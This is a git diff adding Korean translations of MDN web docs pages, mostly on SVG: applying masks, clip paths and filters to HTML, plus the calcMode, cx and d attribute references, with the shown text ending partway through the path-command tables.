+ <li><a href="https://secure.wphackedhelp.com/blog/wordpress-vulnerabilities-how-to-fix-guide-tools/">Common WordPress Security Vulnerabilities</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Vulnerability_database">Vulnerability database</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Elizabeth LeMay, Karen Scarfone, and Peter Mell</li>
+ <li>Title: National Institute of Standards and Technology (NIST) Interagency Report 7864, The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities</li>
+ <li>Last Updated Date: July 2012</li>
+ <li>Copyright Information: This document is not subject to copyright.</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ko/web/svg/applying_svg_effects_to_html_content/index.html b/files/ko/web/svg/applying_svg_effects_to_html_content/index.html
new file mode 100644
index 0000000000..fc36e06d4c
--- /dev/null
+++ b/files/ko/web/svg/applying_svg_effects_to_html_content/index.html
@@ -0,0 +1,229 @@
+---
+title: HTML 컨텐츠에 SVG 효과 적용하기
+slug: Web/SVG/Applying_SVG_effects_to_HTML_content
+tags:
+ - CSS
+ - HTML
+ - SVG
+ - SVG 효과
+ - 가이드
+ - 필터
+translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
+---
+<p>모던 브라우저들은 HTML 콘텐트에 그래픽 효과를 적용하기 위해 <a href="/ko/docs/web/CSS" title="Cascading Style Sheets">CSS</a> 스타일 내에 <a href="/ko/docs/Web/SVG">SVG</a>를 사용하는 것을 지원합니다.</p>
+
+<p>스타일에서의 SVG는, 동일 문서 또는 외부 스타일 시트 어느 쪽에서도 지정할 수 있습니다. 다음 3가지 속성이 사용 가능합니다: <a href="/ko/docs/Web/CSS/mask"><code>mask</code></a>, <a href="/ko/docs/Web/CSS/clip-path"><code>clip-path</code></a>, and <a href="/ko/docs/Web/CSS/filter"><code>filter</code></a>.</p>
+
+<div class="note"><strong>Note:</strong> 외부 파일에서 SVG를 참조할 때는, 반드시 참조하는 원래 문서와 <a href="/ko/docs/Web/Security/Same-origin_policy">동일한 출처</a>에서 이뤄져야 합니다.</div>
+
+<h2 id="임베디드_SVG_사용하기">임베디드 SVG 사용하기</h2>
+
+<p>CSS 스타일을 이용해 SVG 효과를 적용하기 위해서, 먼저 적용할 SVG를 참조하는 CSS 스타일을 작성해야 합니다.</p>
+
+<pre class="brush: html">&lt;style&gt;p { mask: url(#my-mask); }&lt;/style&gt;
+</pre>
+
+<p>위의 예제에서, 모든 문단은 <a href="/ko/docs/Web/HTML/Global_attributes/id">ID</a>가 <code>my-mask</code>인 <a href="/ko/docs/Web/SVG/Element/mask">SVG <code>&lt;mask&gt;</code></a>에 의해 마스크 처리됩니다.</p>
+
+<h3 id="Example_Masking">Example: Masking</h3>
+
+<p>다음의 예는 HTML 문서 내에 CSS 코드와 SVG를 사용해서, HTML 콘텐트에 그래디언트 마스크를 만든 것입니다:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+ &lt;mask id="mask-1"&gt;
+ &lt;linearGradient id="gradient-1" y2="1"&gt;
+ &lt;stop stop-color="white" offset="0"/&gt;
+ &lt;stop stop-opacity="0" offset="1"/&gt;
+ &lt;/linearGradient&gt;
+ &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/&gt;
+ &lt;rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/&gt;
+ &lt;/mask&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+ mask: url(#mask-1);
+}
+p {
+ width: 300px;
+ border: 1px solid #000;
+ display: inline-block;
+}</pre>
+
+<p>Note that in the CSS, the mask is specified using a URL to the ID <code>#mask-1</code>, which is the ID of the SVG mask specified below it. Everything else specifies details about the gradient mask itself.</p>
+
+<p>Applying the SVG effect to (X)HTML is accomplished by assigning the <code>target</code> class defined above to an element, like this:</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+ ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing
+ &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+ ut labore et dolore magna aliqua.&lt;/b&gt;
+ Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>The above example would be rendered with the mask applied to it.</p>
+
+<p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p>
+
+<h3 id="Example_Clipping">Example: Clipping</h3>
+
+<p>This example demonstrates using SVG to clip HTML content. Notice that even the clickable areas for links are clipped.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+ ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing
+ &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+ ut labore et dolore magna aliqua.&lt;/b&gt;
+ Ut enim ad minim veniam.
+&lt;/p&gt;
+
+&lt;button onclick="toggleRadius()"&gt;Toggle radius&lt;/button&gt;
+
+&lt;svg height="0"&gt;
+ &lt;clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox"&gt;
+ &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle"/&gt;
+ &lt;rect x="0.5" y="0.2" width="0.5" height="0.8"/&gt;
+ &lt;/clipPath&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+ clip-path: url(#clipping-path-1);
+}
+p {
+ width: 300px;
+ border: 1px solid #000;
+ display: inline-block;
+}</pre>
+
+<p>This establishes a clipping area made of a circle and rectangle, assigns it the ID <code>#clipping-path-1</code>, then references it in the CSS. The clip path can be assigned to any element with the <code>target</code> class.</p>
+
+<p>You can make changes to the SVG in real time and see them immediately affect the rendering of the HTML. For example, you can resize the circle in the clip path established above:</p>
+
+<pre class="brush: js">function toggleRadius() {
+ var circle = document.getElementById("circle");
+  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_Clipping', 650, 200)}}</p>
+
+<h3 id="Example_Filtering">Example: Filtering</h3>
+
+<p>This demonstrates applying a filter to HTML content using SVG. It establishes several filters, which are applied with CSS to three elements in both the normal and mouse <a href="/ko/docs/Web/CSS/:hover">hover</a> states.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background: lime;"&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+ ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;pre class="target"&gt;lorem&lt;/pre&gt;
+&lt;p&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing
+ &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+ ut labore et dolore magna aliqua.&lt;/b&gt;
+ Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>Any SVG filter can be applied this way. For example, to apply a blur effect, you might use:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+ &lt;filter id="f1"&gt;
+ &lt;feGaussianBlur stdDeviation="3"/&gt;
+ &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>You could also apply a color matrix:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+ &lt;filter id="f2"&gt;
+ &lt;feColorMatrix values="0.3333 0.3333 0.3333 0 0
+ 0.3333 0.3333 0.3333 0 0
+ 0.3333 0.3333 0.3333 0 0
+ 0 0 0 1 0"/&gt;
+ &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>And some more filters:</p>
+
+<pre class="brush: html"><span>&lt;svg height="0"&gt;
+</span> &lt;filter id="f3"&gt;
+  &lt;feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
+    order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/&gt;
+  &lt;/filter&gt;
+ &lt;filter id="f4"&gt;
+  &lt;feSpecularLighting surfaceScale="5" specularConstant="1"
+                     specularExponent="10" lighting-color="white"&gt;
+   &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
+  &lt;/feSpecularLighting&gt;
+ &lt;/filter&gt;
+ &lt;filter id="f5"&gt;
+   &lt;feColorMatrix values="1 0 0 0 0
+                           0 1 0 0 0
+                           0 0 1 0 0
+                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/&gt;
+ &lt;/filter&gt;
+<span>&lt;/svg&gt;</span></pre>
+
+<p>The five filters are applied using the following CSS:</p>
+
+<pre class="brush: css">p.target { filter:url(#f3); }
+p.target:hover { filter:url(#f5); }
+b.target { filter:url(#f1); }
+b.target:hover { filter:url(#f4); }
+pre.target { filter:url(#f2); }
+pre.target:hover { filter:url(#f3); }
+</pre>
+
+<p>{{EmbedLiveSample('Example_Filtering', 650, 200)}}</p>
+
+<p style="display: none;"><a class="button liveSample" href="/files/3329/filterdemo.xhtml">View this example live</a></p>
+
+<h3 id="Example_Blurred_Text">Example: Blurred Text</h3>
+
+<p>In order to blur text, Webkit based browsers have a (prefixed) CSS filter called blur (see also <a href="/ko/docs/Web/CSS/filter#blur%28%29_2">CSS filter</a>). You can achieve the same effect using SVG filters.</p>
+
+<pre class="brush: html">&lt;p class="blur"&gt;Time to clean my glasses&lt;/p&gt;
+&lt;svg height="0"&gt;
+ &lt;defs&gt;
+ &lt;filter id="wherearemyglasses" x="0" y="0"&gt;
+ &lt;feGaussianBlur in="SourceGraphic" stdDeviation="1"/&gt;
+ &lt;/filter&gt;
+ &lt;/defs&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>You can apply the SVG and the CSS filter in the same class:</p>
+
+<pre class="brush: css">.blur { filter: url(#wherearemyglasses); }</pre>
+
+<p>{{ EmbedLiveSample('Example_Blurred_Text', 300, 100) }}</p>
+
+<p>Blurring is computation heavy, so ensure to use it sparingly, especially in elements that get scrolled or animated.</p>
+
+<h2 id="Using_external_references">Using external references</h2>
+
+<p>SVG used for clipping, masking, and filtering can be loaded from an external source, as long as that source comes from the same origin as the HTML document to which it's applied.</p>
+
+<p>For example, if your CSS is in a file named <code>default.css</code>, it can look like this:</p>
+
+<pre class="brush: css" id="line1">.target { clip-path: url(resources.svg#c1); }</pre>
+
+<p>The SVG is then imported from a file named <code>resources.svg</code>, using the clip path with the ID <code>c1</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/SVG" title="SVG">SVG</a></li>
+ <li><a class="external" href="http://robert.ocallahan.org/2008/06/applying-svg-effects-to-html-content_04.html">SVG Effects for HTML Content</a> (blog post)</li>
+ <li><del><a class="external" href="/web-tech/2008/10/10/svg-external-document-references">SVG External Document References</a></del> (blog post) (<a href="http://web.archive.org/web/20120512132948/https://developer.mozilla.org/web-tech/2008/10/10/svg-external-document-references/" title="Web Tech Blog » Blog Archive » SVG External Document References">[archive.org] Web Tech Blog » Blog Archive » SVG External Document References</a>)</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/calcmode/index.html b/files/ko/web/svg/attribute/calcmode/index.html
new file mode 100644
index 0000000000..dd2d0424f7
--- /dev/null
+++ b/files/ko/web/svg/attribute/calcmode/index.html
@@ -0,0 +1,55 @@
+---
+title: calcMode
+slug: Web/SVG/Attribute/calcMode
+translation_of: Web/SVG/Attribute/calcMode
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>이 속성은 애니메이션의 interpolation 모드를 지정합니다. 기본 모드는 linear 이지만 속성이 linear interpolation을 지원하지 않으면(예: 문자열의 경우) calcMode 속성이 무시되고 discrete interpolation이 사용됩니다. </p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td>Animation value attribute</td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td>discrete | linear | paced | spline</td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#CalcModeAttribute" title="http://www.w3.org/TR/SVG/animate.html#CalcModeAttribute">SVG 1.1 (2nd Edition)</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>discrete</dt>
+ <dd>이것은 애니메이션 함수가 interpolation 없이 하나의 값에서 다음 값으로 점프하도록 지정합니다.</dd>
+ <dt>linear</dt>
+ <dd>값 사이의 단순한 linear interpolation은 애니메이션 함수를 계산하는데 사용됩니다. {{ SVGElement("animateMotion") }}의 경우를 제외하고는 이것은 기본 값입니다.</dd>
+ <dt>paced</dt>
+ <dd>Defines interpolation to produce an even pace of change across the animation. This is only supported for values that define a linear numeric range, and for which some notion of "distance" between points can be calculated (e.g. position, width, height, etc.). If paced is specified, any {{ SVGAttr("keyTimes") }} or {{ SVGAttr("keySplines") }} will be ignored. For {{ SVGElement("animateMotion") }}, this is the default value.</dd>
+ <dt>spline</dt>
+ <dd>cubic Bézier spline에 정의된 시간 함수에 따라 {{ SVGAttr("values") }} 목록의 한 값에서 다음 값으로 interpolation 합니다. spline의 점(point)은 {{ SVGAttr("keyTimes") }} 속성에 정의되고,  각 간격의 제어점은 {{ SVGAttr("keySplines") }} 속성에 정의됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>다음 요소에서 calcMode 속성을 사용할 수 있습니다.</p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateMotion") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/cx/index.html b/files/ko/web/svg/attribute/cx/index.html
new file mode 100644
index 0000000000..74197f7843
--- /dev/null
+++ b/files/ko/web/svg/attribute/cx/index.html
@@ -0,0 +1,67 @@
+---
+title: cx
+slug: Web/SVG/Attribute/cx
+translation_of: Web/SVG/Attribute/cx
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>{{ SVGElement("circle") }}과  {{ SVGElement("ellipse") }}엘리먼트에서 사용될 경우, 본 속성은 엘리먼트의 중심의 x축의 위치를 나타낸다. 속성이 정의되어있지 않을 경우 속성 값이 "0"일 경우와 동일한 형태를 나타내게 된다.</p>
+
+<p>{{ SVGElement("radialGradient") }} 엘리먼트의 경우에는 본 속성은 원형 그래디언트의 가장 큰 원의 x축의 위치를 나타낸다. 그래디언트는 가장 큰 원의 둘레와 일치할 수 있도록 그려질것입니다. 속성이 정의되어있지 않을 경우 속성 값이 <strong>50%</strong>일 경우와 동일한 효과를 나타내게 된다.</p>
+
+<p>Usage context</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Categories</th>
+ <td>None</td>
+ </tr>
+ <tr>
+ <th scope="row">Value</th>
+ <td><a href="/en/SVG/Content_type#Coordinate" title="https://developer.mozilla.org/en/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">Normative document</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#CircleElementCXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#CircleElementCXAttribute">SVG 1.1 (2nd Edition): The circle element</a><br>
+ <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCXAttribute">SVG 1.1 (2nd Edition): The ellipse element</a><br>
+ <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCXAttribute" title="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCXAttribute">SVG 1.1 (2nd Edition): The radialGradient element</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/en/SVG/Content_type","Coordinate") }}</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: xml">  &lt;svg width="120" height="220"
+     viewPort="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;style type="text/css" &gt;
+
+      &lt;![CDATA[
+       circle.circleClass {
+       stroke: #006600;
+       fill:   #cc0000;
+    }
+
+      ]]&gt;
+    &lt;/style&gt;
+     &lt;circle  class="circleClass"   cx="40" cy="50" r="26"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="엘리먼트">엘리먼트</h2>
+
+<p>다음 엘리먼트에서 <code>cx</code>속성을 사용할 수 있습니다.</p>
+
+<ul>
+ <li>{{ SVGElement("circle") }}</li>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("radialGradient") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/d/index.html b/files/ko/web/svg/attribute/d/index.html
new file mode 100644
index 0000000000..19f60cdac9
--- /dev/null
+++ b/files/ko/web/svg/attribute/d/index.html
@@ -0,0 +1,575 @@
+---
+title: d
+slug: Web/SVG/Attribute/d
+translation_of: Web/SVG/Attribute/d
+---
+<div>{{SVGRef}}</div>
+
+<p><strong><code>d</code></strong>  속성은 그릴 패스를 정의합니다.</p>
+
+<p>A path definition is a list of <a href="#Path_commands">path commands</a> where each command is composed of a command letter and numbers that represent the command parameters. The commands are detailed below.</p>
+
+<p>Three elements have this attribute: {{SVGElement("path")}}, {{SVGElement("glyph")}}, and {{SVGElement("missing-glyph")}}</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+ d="M 10,30
+ A 20,20 0,0,1 50,30
+ A 20,20 0,0,1 90,30
+ Q 90,60 50,90
+ Q 10,60 10,30 z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 200)}}</p>
+</div>
+
+<h2 id="path">path</h2>
+
+<p>For {{SVGElement('path')}}, <code>d</code> is a string containing a series of path commands that define the path to be drawn.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Value</th>
+ <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+ </tr>
+ <tr>
+ <th scope="row">Default value</th>
+ <td><em>none</em></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>Yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="glyph">glyph</h2>
+
+<p class="warning"><strong>Warning:</strong> As of SVG2 {{SVGElement('glyph')}} is deprecated and shouldn't be used.</p>
+
+<p>For {{SVGElement('glyph')}}, <code>d</code> is a string containing a series of path commands that define the outline shape of the glyph.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Value</th>
+ <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+ </tr>
+ <tr>
+ <th scope="row">Default value</th>
+ <td><em>none</em></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>Yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> The point of origin (the coordinate <code>0</code>,<code>0</code>) is usually the <em>upper left corner</em> of the context. However the {{SVGElement("glyph")}} element has its origin in the <em>bottom left corner</em> of its letterbox.</p>
+
+<h2 id="missing-glyph">missing-glyph</h2>
+
+<p class="warning"><strong>Warning:</strong> As of SVG2 {{SVGElement('missing-glyph')}} is deprecated and shouldn't be used.</p>
+
+<p>For {{SVGElement('missing-glyph')}}, <code>d</code> is a string containing a series of path commands that define the outline shape of the glyph.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Value</th>
+ <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+ </tr>
+ <tr>
+ <th scope="row">Default value</th>
+ <td><em>none</em></td>
+ </tr>
+ <tr>
+ <th scope="row">Animatable</th>
+ <td>Yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Path_commands">Path commands</h2>
+
+<p>Path commands are instructions that define a path to be drawn. Each command is composed of a command letter and numbers that represent the command parameters.</p>
+
+<p>SVG defines 6 types of path commands, for a total of 20 commands:</p>
+
+<ul>
+ <li>MoveTo: <code>M</code>, <code>m</code></li>
+ <li>LineTo: <code>L</code>, <code>l</code>, <code>H</code>, <code>h</code>, <code>V</code>, <code>v</code></li>
+ <li>Cubic Bézier Curve: <code>C</code>, <code>c</code>, <code>S</code>, <code>s</code></li>
+ <li>Quadratic Bézier Curve: <code>Q</code>, <code>q</code>, <code>T</code>, <code>t</code></li>
+ <li>Elliptical Arc Curve: <code>A</code>, <code>a</code></li>
+ <li>ClosePath: <code>Z</code>, <code>z</code></li>
+</ul>
+
+<p class="note"><strong>Note:</strong> Commands are case-sensitive; an upper-case command specifies its arguments as absolute positions, while a lower-case command specifies points relative to the current position.</p>
+
+<p>It is always possible to specify a negative value as an argument to a command: negative angles will be anti-clockwise; absolute x and y positions will be taken as negative coordinates; negative relative x values will move to the left; and negative relative y values will move upwards.</p>
+
+<h3 id="MoveTo_path_commands">MoveTo path commands</h3>
+
+<p><em>MoveTo</em> instructions can be thought of as picking up the drawing instrument, and setting it down somewhere else, i.e. moving the <em>current point</em> (P<sub>o</sub>; {x<sub>o</sub>, y<sub>o</sub>}). There is no line drawn between P<sub>o </sub>and the new <em>current point</em> (P<sub>n</sub>; {x<sub>n</sub>, y<sub>n</sub>}).</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Command</th>
+ <th scope="col">Parameters</th>
+ <th scope="col">Notes</th>
+ </tr>
+ <tr>
+ <th scope="row">M</th>
+ <td>(<code>x</code>, <code>y</code>)+</td>
+ <td>Move the <em>current point</em> to the coordinate <code>x</code>,<code>y</code>. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute LineTo (<code>L</code>) command(s) (<em>see below</em>). Formula: P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">m</th>
+ <td>(<code>dx</code>, <code>dy</code>)+</td>
+ <td>Move the <em>current point</em> by shifting the last known position of the path by <code>dx</code> along the x-axis and by <code>dy</code> along the y-axis. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative LineTo (<code>l</code>) command(s) (<em>see below</em>). Formula: P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+ d="M 10,10 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       M 40,20 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       M 50,50 h 10
+       m-20,10 h 10
+       m-20,10 h 10
+       m-20,10 h 10" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('MoveTo_path_commands', '100%', 200)}}</p>
+
+<h3 id="LineTo_path_commands">LineTo path commands</h3>
+
+<p><em>LineTo</em> instructions draw a straight line from the <em>current point</em> (P<sub>o</sub>; {x<sub>o</sub>, y<sub>o</sub>}) to the <em>end point</em> (P<sub>n</sub>; {x<sub>n</sub>, y<sub>n</sub>}), based on the parameters specified. The <em>end point </em>(P<sub>n</sub>) then becomes the <em>current point </em>for the next command (P<sub>o</sub><sup>'</sup>).</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Command</th>
+ <th scope="col">Parameters</th>
+ <th scope="col">Notes</th>
+ </tr>
+ <tr>
+ <th scope="row">L</th>
+ <td>(<code>x</code>, <code>y</code>)+</td>
+ <td>Draw a line from the <em>current point </em>to the <em>end point</em> specified by <code>x</code>,<code>y</code>. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute LineTo (<code>L</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">l</th>
+ <td>(<code>dx</code>, <code>dy</code>)+</td>
+ <td>Draw a line from the <em>current point </em>to the <em>end point,</em> which is the <em>current point</em> shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative LineTo (<code>l</code>) command(s) (<em>see below</em>). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">H</th>
+ <td><code>x</code>+</td>
+ <td>Draw a horizontal line from the <em>current point </em>to the <em>end point</em>, which is specified by the <code>x</code> parameter and the <em>current point's</em> y coordinate. Any subsequent value(s) are interpreted as parameter(s) for implicit absolute horizontal LineTo (<code>H</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, y<sub>o</sub>}</td>
+ </tr>
+ <tr>
+ <th scope="row">h</th>
+ <td><code>dx</code>+</td>
+ <td>Draw a horizontal line from the <em>current point </em>to the <em>end point,</em> which is specified by the <em>current point</em> shifted by <code>dx</code> along the x-axis and the <em>current point's</em> y coordinate. Any subsequent value(s) are interpreted as parameter(s) for implicit relative horizontal LineTo (<code>h</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub>}</td>
+ </tr>
+ <tr>
+ <th scope="row">V</th>
+ <td><code>y</code>+</td>
+ <td>Draw a vertical line from the <em>current point </em>to the <em>end point</em>, which is specified by the <code>y</code> parameter and the <em>current point's</em> x coordinate. Any subsequent values are interpreted as parameters for implicit absolute vertical LineTo (<code>V</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub>, <code>y</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">v</th>
+ <td><code>dy</code>+</td>
+ <td>Draw a vertical line from the <em>current point </em>to the <em>end point,</em> which is specified by the <em>current point</em> shifted by <code>dy</code> along the y-axis and the <em>current point's</em> x coordinate. Any subsequent value(s) are interpreted as parameter(s) for implicit relative vertical LineTo (<code>v</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o, </sub>y<sub>o</sub> + <code>dy</code>}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_2">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;!-- LineTo commands with absolute coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,10
+           L 90,90
+           V 10
+           H 50" /&gt;
+
+ &lt;!-- LineTo commands with relative coordinates --&gt;
+ &lt;path fill="none" stroke="red"
+        d="M 110,10
+           l 80,80
+           v -80
+           h -40" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('LineTo_path_commands', '100%', 200)}}</p>
+
+<h3 id="Cubic_Bézier_Curve">Cubic Bézier Curve</h3>
+
+<p><em>Cubic <a href="https://en.wikipedia.org/wiki/Bézier_curve">Bézier curves</a></em> are smooth curve definitions using four points:</p>
+
+<ul>
+ <li><em>starting point (current point)</em> (P<sub>o</sub> = {x<sub>o</sub>, y<sub>o</sub>})</li>
+ <li><em>end point </em>(P<sub>n</sub> = {x<sub>n</sub>, y<sub>n</sub>})</li>
+ <li><em>start control point </em> (P<sub>cs</sub> = {x<sub>cs</sub>, y<sub>cs</sub>}) (controls curvature near the start of the curve)</li>
+ <li><em>end control point </em>(P<sub>ce</sub> = {x<sub>ce</sub>, y<sub>ce</sub>}) (controls curvature near the end of the curve).</li>
+</ul>
+
+<p>After drawing, the <em>end point </em>(P<sub>n</sub>) becomes the <em>current point </em>for the next command (P<sub>o</sub>').</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Command</th>
+ <th scope="col">Parameters</th>
+ <th scope="col">Notes</th>
+ </tr>
+ <tr>
+ <th scope="row">C</th>
+ <td>(<code>x1</code>,<code>y1</code>, <code>x2</code>,<code>y2</code>, <code>x</code>,<code>y</code>)+</td>
+ <td>Draw a cubic Bézier curve from the <em>current point </em>to the <em>end point </em>specified by <code>x</code>,<code>y</code>. The <em>start control point</em> is specified by <code>x1</code>,<code>y1</code> and the <em>end control point </em>is specified by <code>x2</code>,<code>y2</code><em>.</em> Any subsequent triplet(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute cubic Bézier curve (<code>C</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>} ; P<sub>cs</sub> = {<code>x1</code>, <code>y1</code>} ; P<sub>ce</sub> = {<code>x2</code>, <code>y2</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">c</th>
